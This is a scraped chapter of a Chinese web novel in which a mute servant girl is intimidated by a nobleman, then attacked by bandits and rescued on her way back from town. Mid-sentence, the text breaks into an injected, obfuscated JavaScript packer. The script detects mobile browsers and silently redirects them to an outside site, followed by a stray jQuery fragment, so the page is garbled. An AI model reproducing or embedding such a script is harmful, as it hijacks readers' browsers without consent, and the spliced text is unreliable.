他看着歪歪扭扭的字迹，大发慈悲，却是握着她的手，蘸了朱砂，在杂乱的墨迹上，缓缓写下了三个字。


    “何凝之。”


    鸾飘凤泊，分明是极飘逸潇洒的字。


    桌案前的少女却起了一身鸡皮疙瘩。


    像扭曲蜿蜒的蛇。


    在她的手背上，冰冷的身躯纠缠着，不断收紧，勒得她快喘不过气。


    缨宁想要服个软，偏他连这点机会都不给，四下无人之地，他手里的笔或重或轻，一点一点，落到了她的唇上。


    “之前没见过你，今日头一遭，给你长点记性。”


    朱砂干透了，她也惊出一身汗。


    何凝之离开前夸了她一句乖。


    只因她自始至终都没有声音。


    旁人听不见，只有他能看见，这样不为人知的隐秘取悦到了他。


    缨宁喘息剧烈，屋内炭火烧得太足，她后背都湿透了。确认他人走远了，她连忙躲到自己的屋里。


    对着昏黄的铜镜，她用力擦拭自己脸上的朱砂，可擦来擦去，情况越来越糟糕了。


    怎么会这样……


    他到底是谁？


    无计可施的少女一头扎到冷水中，像是做了一个噩梦，睁开眼来，一切还历历在目。


    她冷得发抖，换了衣裳，强装镇定出来，桌案上竟多了一只水头极好的玉镯子。


    她一刹那白了脸。


    缨宁想砸了这只镯子，又担心被他当场抓住，思来想去，她将镯子放在了原来位置，装作无事发生，继续抄自己的书。


    等到抄完了三本，她向府里的管事告假。


    新管事踪迹难寻，她找了半天，方才寻见一个熟面孔，是李妈妈跟前看账本的少年锦心。


    锦心此刻正揣着袖子在外头晒太阳，看到她，扬着笑道：


    “妈妈近来跟着家主去城里了，你要告假的事，我会转告新管事，你先走吧。”


    缨宁写了几个字，少年点点头：“我说话也算话，你走就是了。”


    见她还是不放心，锦心站起身来，想跟她开个玩笑，可到了跟前，对着那一双妩媚的眼，又说不出话来。


    跟一个哑巴开什么玩笑！


    况且后头还有个风流种子，届时若让他知晓了，自己这日子怕就不好过了。


    他催促缨宁赶紧走。


    而缨宁见他那信誓旦旦的样子，信了他一回。这之后，她到厨房里见了翠翠，将翠翠要的东西记下，背着包裹往城里走。


    从别院到城里，光靠脚，要走上一天。


    穿着月白袄子，宝蓝裙子的少女深一脚浅一脚，踩着雪，走在乡间路上。这一路她不怎么休息，饿了啃几口干粮，冷了则将裹头布系紧一些。


    从月府出来之后，缨宁的日子一向有些艰难，只是凭本事赚了一点小钱，便觉得往后盼头大着，眼前这些都不算什么。


    日头慢慢西斜，她加快脚程，赶在日落之前进了城。


    晚风将头发吹得乱糟糟的，碎雪融了湿了又结成冰，伴随着温热的呼吸，一半化作水汽，面庞泛红的少女擦了把脸，走到相熟的书肆。


    眼下店里的主管要关门了，门板插了一半，见了她，大为吃惊。


    “姑娘这是去了哪里？好些日子不见，近来可安好？”


    缨宁笑了笑，点着头，将自己包裹里的书拿出来。


    她已经事先写好了字条，主管与她相熟，知道是卖书，当下进店来看。


    三本都是幼童的启蒙书，字端端正正，干干净净，没有一处擦改，跟印出来的有的一比，只是书堂里人手一本的书，纵然抄的再认真，也卖不了高价。


    不过好在她是个哑巴，也向来不讲价。


    书肆依旧按市价给她结了。


    缨宁接着那三百文，连连道谢。


    聚沙成塔，集腋成裘，这往后就是她跟翠翠出去闯荡的资本。


    缨宁揉了揉脸颊，心满意足。见天黑了，她循着记忆去私园巷子里的老房子睡了一夜。


    第二日，天还没亮，她就赶着去置办两人要的东西。


    翠翠近来在厨房里偷学了一手，让她买一口铁锅，以后两个人闲来无事，可以去外头开个火。而她自己则要买些针线络子。


    缨宁跑动跑西，挑挑拣拣，不觉天色大亮，红日高悬。


    天依旧冷得厉害，她呼着白气，胸前是包裹，背后是铁锅，出了城，一路小跑着。


    下过雪的地经日头一晒，有些泥泞，她踩在草上，草又在林子里，隔着树，过山坡，泥泞的道上人越来越少。


    等她发现自己走到一处阴暗的地界时，心里忽然慌张起来。


    像是察觉到危险，缨宁赶紧往泥泞的大路上逃。


    身后脚步声越来越近，她那时候不知想到了什么，鬼使神差地，凭着感觉往下一蹲，竟堪堪躲过了脑后的一闷棍！


    “居然还会躲？小看你了。”


    一个蒙脸大汉诧异之余又补了一棍子。


    缨宁这回没站稳趴了下来，竟又躲了过去！


    她扭头看着粗长的棍子，还没挨打，头就已经开始疼了，身体不受控制，开始手忙脚乱往外爬。


    这里剪径的贼人非要等她满载而归，才下手。


    缨宁将这点钱看作是命，性命垂危之际，迸出一股巨大力量，竟让她逃脱了身后的几个贼人，一路跌跌撞撞上了大路。


    路尽头有一辆马车正驶来，狼狈的少女张开手，一边跑一边挥。


    “别跑！”


    身后的声音像是催命符，她拖着沉重的脚步，朝这唯一一辆马车跑去，此刻已然忘了对生人的恐惧。


    马车越来越近了。


    那车夫似乎发现了这点异样，叩了叩马车的车门。


    “怎么了？”


    秦思看着邋里邋遢的少女，迟疑道：“那好像咱们别院的小……缨宁。”


    “小哑巴？”


    何凝之露面。


    寒风料峭，只见不远处，一个少女正没命地在跑，身后是几个蒙面大汉。


    都道这一路有贼人，没想到光天化日就冒了头。


    当真是年关难过，连规矩都忘了。


    秦思抽出身后的佩剑，当即跳下马车。


    冬日的光照冷如寒冰，落下的影子更是单薄如纸。


    裂帛声响起，剑刃越过缨宁的肩膀，挑开了身后砸来的木棍。


    那贼人见形势不对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282122|181841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，领头的即刻转身，其余人等停了步子，见那马车里又出来两个男人，手中剑刃极为锋利，方才有逃离的意思，只是此刻为时已晚，秦思已先一步追了上去。


    而缨宁跑了一路，如今得脱险境，浑身酸涩发软，一时间竟没站稳，“咚”一声倒在地上。


    不好！


    她的锅！


    她挣扎着爬起来，却如泥潭里滚过一般，更狼狈了。


    身上落了一层阴翳，她撩着垂落的头发，抬起头来，看到两抹亮眼的色泽。


    一红一白，在周围的萧瑟中显得那般格格不入。


    红的如火一般，烧得她眼睛发烫，不自觉想要抠掉自己的眼珠子，强当做没见过。


    白得那个则又像雪一般，干净得让她自惭形秽。她情不自禁捂住脸，伏在地上，不愿让他看到自己的狼狈。


    “怎么了？摔疼了？”


    男人收了自己的佩剑，弯下腰来，可任凭怎么劝说，地上的少女都不肯抬起头。


    她肩头轻微颤动，不用猜就知道，此刻想必在掉眼泪。


    何凝之见状，蹲下身来，曲起手指，对着她那口锅敲了两三下，揶揄道：“以后不能叫你小哑巴了。瞧瞧，这口锅扣在身上，多像个水龟。”


    “你喜不喜欢乌龟？哭得这么厉害，应当是喜欢极了。以后回去了，就让李妈妈给你改个应情应景的名，叫……水龟如何？正好你眼泪也多——”


    “啊！”


    缨宁咬着牙，见了楚盈，本就羞愧，偏他又在一旁叽叽喳喳，更是让她无地自容。她恨极了，大叫一声。


    楚盈微诧：“你能发声了？”


    缨宁愣住，又喊了一声他的名字，只是喉咙里的声音分外模糊。


    楚盈见状，伸手摸了摸她的脑袋，欣慰道：“这样已经很好了，免得以后有歹人，你连个声都没有。方才凝之说话有些难听，你切勿放在心上，他人其实不坏。”


    缨宁垂着眼，脸颊涨红。


    她悄悄侧过身子，打理头发，稍稍捯饬之后，这才转身面对着他。


    “他是谁？”


    楚盈感受着掌心上划过的笔画，余光瞥了眼身侧的男人，似笑非笑道：“这是红蓼别院的主人。”


    何凝之侧身，却是不应答。等到楚盈以眼神示意他时，方才接下了这个假身份。


    他将两人的动作尽收眼底，隐隐猜到了什么，于是以不容拒绝的口吻吩咐两人赶紧回去，自己留下跟秦思处理这一伙贼人。


    不多时，缨宁上了马车。


    楚盈叫她把湿哒哒的脏衣服换下，免得染风寒。


    车内有干净衣裳，缨宁红着脸，趁四下无人，蹭了一蹭。


    男人的衣裳有些宽大，她将腰带系了几圈，袖子挽了几道，勉勉强强才算有点合身。


    楚盈驾着车，马车哒哒压过积雪，没了外人在，她露出脑袋，心里有太多话想说了，只是一时间无法开口。


    她伸出手，先轻轻点了男人宽阔的肩。


    楚盈会意，笑道：“这一路颠簸，你好好写，我尽量往对的猜。”


    缨宁想要将那日何凝之对自己做的事写出来，但落笔之际却犯了难。


    这样写真的好吗？